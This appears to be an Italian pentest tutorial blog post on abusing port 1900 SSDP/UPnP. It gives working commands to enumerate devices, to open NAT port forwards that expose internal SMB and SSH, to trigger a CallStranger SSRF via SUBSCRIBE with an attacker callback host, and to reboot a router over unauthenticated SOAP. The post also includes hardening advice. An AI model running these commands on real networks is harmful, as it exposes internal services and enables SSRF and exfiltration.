networking

Porta 1900 SSDP/UPnP: Pentest, Port Mapping e SSRF

Porta 1900 SSDP/UPnP: Pentest, Port Mapping e SSRF

Porta 1900 SSDP/UPnP nel pentest: discovery dei device, port mapping abuse, SSRF via CallStranger e analisi dei servizi esposti.

  • Pubblicato il 2026-04-12
  • Tempo di lettura: 5 min

Executive Summary — La porta 1900/UDP è il canale di SSDP (Simple Service Discovery Protocol), il componente di discovery di UPnP (Universal Plug and Play). SSDP permette ai dispositivi di annunciarsi automaticamente sulla rete — router, smart TV, media server, NAS, IoT, stampanti. Il problema: UPnP è progettato per reti fidate e non prevede autenticazione. Un attacker sulla rete può enumerare tutti i dispositivi UPnP, modificare le regole NAT del router (aprire porte dall’esterno), e sfruttare le API SOAP dei dispositivi per SSRF e RCE. Su Internet, SSDP esposto è un vettore di amplification DDoS (fattore 30x).

Cos’è la port 1900 (SSDP / UPnP)

  • SSDP sulla 1900/UDP rivela ogni dispositivo UPnP sulla rete — senza autenticazione
  • UPnP sul router permette di aprire porte NAT (port forwarding) da qualsiasi host interno — un malware può esporre servizi interni su Internet
  • CallStranger (CVE-2020-12695) permette SSRF, data exfiltration e amplification tramite la funzione SUBSCRIBE di UPnP

Porta 1900 SSDP è il canale UDP del protocollo di discovery UPnP. La porta 1900 vulnerabilità principali sono l’enumerazione massiva di dispositivi senza autenticazione, il NAT port mapping abuse (apertura porte non autorizzata), SSRF via SOAP action e amplification DDoS. L’enumerazione porta 1900 rivela tipo, modello, firmware e URL di controllo di ogni dispositivo UPnP. Nel pentest, UPnP è un enabler: permette di aprire porte NAT per l’accesso dall’esterno, scoprire dispositivi nascosti e attaccare le API SOAP dei dispositivi per RCE. Nella kill chain si posiziona come recon (device discovery), persistence (port forwarding permanente) e lateral movement (SSRF verso servizi interni).

1. Anatomia Tecnica della Porta 1900 #

SSDP è il protocollo di discovery — il primo componente di UPnP:

Componente UPnPPorta/ProtocolloRuolo
SSDP Discovery1900/UDPAnnuncio e ricerca dispositivi
Device DescriptionHTTP (porta alta)XML con descrizione dispositivo
Control (SOAP)HTTP (porta alta)Comandi al dispositivo via SOAP
EventingHTTP (porta alta)Notifiche di stato

Il flusso SSDP:

  1. Client invia M-SEARCH multicast a 239.255.255.250:1900
  2. Ogni dispositivo UPnP risponde con il suo Location URL (HTTP)
  3. Il client scarica l’XML di descrizione dal Location URL
  4. L’XML elenca i servizi disponibili e gli endpoint SOAP di controllo
  5. Il client chiama le SOAP action per controllare il dispositivo
text
Misconfig: UPnP abilitato sul router con IGD (Internet Gateway Device)
Impatto: qualsiasi host interno può aprire port forwarding — espone servizi interni su Internet
Come si verifica: upnpc -l — se lista le regole NAT, IGD è attivo
text
Misconfig: SSDP raggiungibile da Internet (WAN)
Impatto: amplification DDoS (fattore ~30x) e information disclosure
Come si verifica: nmap -sU -p 1900 [IP_pubblico] — se open, è esposto
text
Misconfig: Dispositivo UPnP con SOAP action senza autenticazione
Impatto: esecuzione comandi sul dispositivo (firmware update, config change, reboot)
Come si verifica: curl [SOAP_endpoint] con action specifica

2. Enumerazione Base #

Comando 1: M-SEARCH discovery #

bash
# Invia M-SEARCH e cattura risposte
echo -e "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: \"ssdp:discover\"\r\nST: ssdp:all\r\nMX: 3\r\n\r\n" | socat - UDP4-DATAGRAM:239.255.255.250:1900,so-broadcast

Output:

text
HTTP/1.1 200 OK
LOCATION: http://192.168.1.1:49152/rootDesc.xml
SERVER: Linux/4.4, UPnP/1.0, MediaServer/1.0
ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1
USN: uuid:12345678-1234-1234-1234-123456789abc

HTTP/1.1 200 OK
LOCATION: http://192.168.1.50:8200/rootDesc.xml
SERVER: Synology NAS/DSM 7.2
ST: urn:schemas-upnp-org:device:MediaServer:1

Lettura dell’output: due dispositivi UPnP: un router con IGD (InternetGatewayDevice — target per port mapping) e un Synology NAS (media server — target per file access). Il Location URL è l’endpoint per scaricare la descrizione completa.

Comando 2: Nmap #

bash
nmap -sU -p 1900 --script upnp-info 192.168.1.0/24

Output:

text
192.168.1.1:
| upnp-info:
|   InternetGatewayDevice
|   Manufacturer: Netgear
|   Model: R7000
|_  Firmware: V1.0.11.126

192.168.1.50:
| upnp-info:
|   MediaServer
|   Manufacturer: Synology
|_  Model: DS920+

3. Enumerazione Avanzata #

Scarica device description XML #

bash
curl -s http://192.168.1.1:49152/rootDesc.xml

Output (parziale):

xml
<device>
  <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType>
  <friendlyName>Netgear R7000</friendlyName>
  <manufacturer>NETGEAR</manufacturer>
  <modelNumber>R7000</modelNumber>
  <serviceList>
    <service>
      <serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType>
      <controlURL>/ctl/IPConn</controlURL>
    </service>
  </serviceList>
</device>

Lettura dell’output: il router espone il servizio WANIPConnection con endpoint di controllo /ctl/IPConn. Questo è il servizio che gestisce il NAT port mapping — il target per l’apertura porte non autorizzata.

Lista port mapping esistenti #

bash
# Con miniupnpc
upnpc -l

Output:

text
 i protocol exPort->inAddr:inPort description remoteHost leaseTime
 0 TCP  8080->192.168.1.100:80    WebServer     0.0.0.0    0
 1 TCP  3389->192.168.1.200:3389  RDP           0.0.0.0    0

Lettura dell’output: due port forwarding attivi: la porta 8080 esterna punta a un web server interno, la 3389 esterna punta a RDP interno. Questo è già un finding — RDP esposto su Internet via UPnP.

4. Tecniche Offensive #

NAT port mapping abuse — esponi servizi interni

Contesto: UPnP IGD attivo sul router. Sei sulla rete interna.

bash
# Apri porta 4444 esterna → 192.168.1.100:445 interna (SMB)
upnpc -a 192.168.1.100 445 4444 TCP

# Apri porta per reverse shell
upnpc -a 192.168.1.200 22 2222 TCP

Output:

text
external 203.0.113.50:4444 TCP is redirected to internal 192.168.1.100:445

Cosa fai dopo: SMB interno ora raggiungibile da Internet sulla porta 4444. Questo è il meccanismo usato dai malware per esporre servizi interni — e in un pentest dimostra che UPnP permette a qualsiasi host interno di creare port forwarding arbitrario. Per la post-exploitation con persistenza, un port forwarding UPnP è più discreto di un tunnel.

SSRF via UPnP SUBSCRIBE (CallStranger — CVE-2020-12695)

Contesto: il dispositivo UPnP supporta SUBSCRIBE con callback URL arbitrario.

bash
curl -X SUBSCRIBE http://192.168.1.1:49152/evt/IPConn \
  -H "CALLBACK: <http://10.10.10.200:8080/ssrf>" \
  -H "NT: upnp:event" \
  -H "TIMEOUT: Second-300"

Cosa fai dopo: il dispositivo UPnP farà una richiesta HTTP al tuo callback — SSRF dal dispositivo. Puoi usarlo per raggiungere servizi interni non direttamente accessibili, scansionare la rete dal punto di vista del dispositivo o exfiltrare dati.

Device SOAP exploitation

bash
# Esempio: reboot router via SOAP
curl -X POST http://192.168.1.1:49152/ctl/DevInfo \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"urn:schemas-upnp-org:service:DeviceInfo:1#Reboot\"" \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><u:Reboot xmlns:u="urn:schemas-upnp-org:service:DeviceInfo:1"></u:Reboot></s:Body></s:Envelope>'

DDoS amplification (solo documentazione)

Un pacchetto M-SEARCH di 100 byte genera risposte da 3000+ byte — fattore ~30x. Con IP spoofato, il traffico amplificato colpisce la vittima. Finding di severità media per dispositivi esposti su Internet.

5. Scenari Pratici #

Scenario 1: Assessment rete interna — UPnP device discovery #

Step 1:

bash
# Discovery massivo
nmap -sU -p 1900 --script upnp-info 192.168.1.0/24

Step 2:

bash
# Per ogni device trovato: scarica description XML
for url in $(grep -o 'http://[^"]*rootDesc.xml' nmap_output.txt); do
  curl -s "$url" > "$(echo $url | md5sum | cut -c1-8).xml"
done

Step 3:

bash
# Verifica IGD e port mapping
upnpc -l

Tempo stimato: 10-20 minuti

Scenario 2: Verifica UPnP su router perimetrale #

Step 1:

bash
upnpc -s  # Status del router IGD
upnpc -l  # Port mapping esistenti

Step 2:

bash
# Testa creazione port mapping
upnpc -a [internal_ip] 80 9999 TCP
upnpc -d 9999 TCP  # Rimuovi subito dopo il test

Tempo stimato: 5-10 minuti

6. Cheat Sheet Finale #

AzioneComando
M-SEARCHsocat con M-SEARCH multicast a 239.255.255.250:1900
Nmap discoverynmap -sU -p 1900 --script upnp-info [subnet]
Description XMLcurl -s http://[device]:[port]/rootDesc.xml
Port map listupnpc -l
Add port mapupnpc -a [internal_ip] [int_port] [ext_port] TCP
Remove port mapupnpc -d [ext_port] TCP
Router statusupnpc -s
SSRF subscribecurl -X SUBSCRIBE -H "CALLBACK: <http://[attacker]:8080>"

Perché Porta 1900 è rilevante nel 2026 #

UPnP è abilitato di default su quasi tutti i router consumer e molti enterprise. Permette a qualsiasi host interno (incluso un malware) di aprire porte NAT — esponendo servizi interni su Internet. CallStranger (CVE-2020-12695) ha dimostrato SSRF e data exfiltration via UPnP. Migliaia di dispositivi con SSDP esposto su Internet sono vettori di amplification DDoS.

Hardening #

  • Disabilita UPnP sul router se non strettamente necessario
  • Se necessario: IGD con whitelist di IP interni autorizzati
  • Non esporre mai SSDP (1900/UDP) su WAN
  • Monitora le regole di port forwarding per creazioni non autorizzate
  • Firmware update regolari per CVE UPnP

Riferimento: UPnP Device Architecture, CVE-2020-12695 (CallStranger). Uso esclusivo in ambienti autorizzati.

hackita.it/supportohackita.it/servizi.

#SSDP #UPnP #CallStranger

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.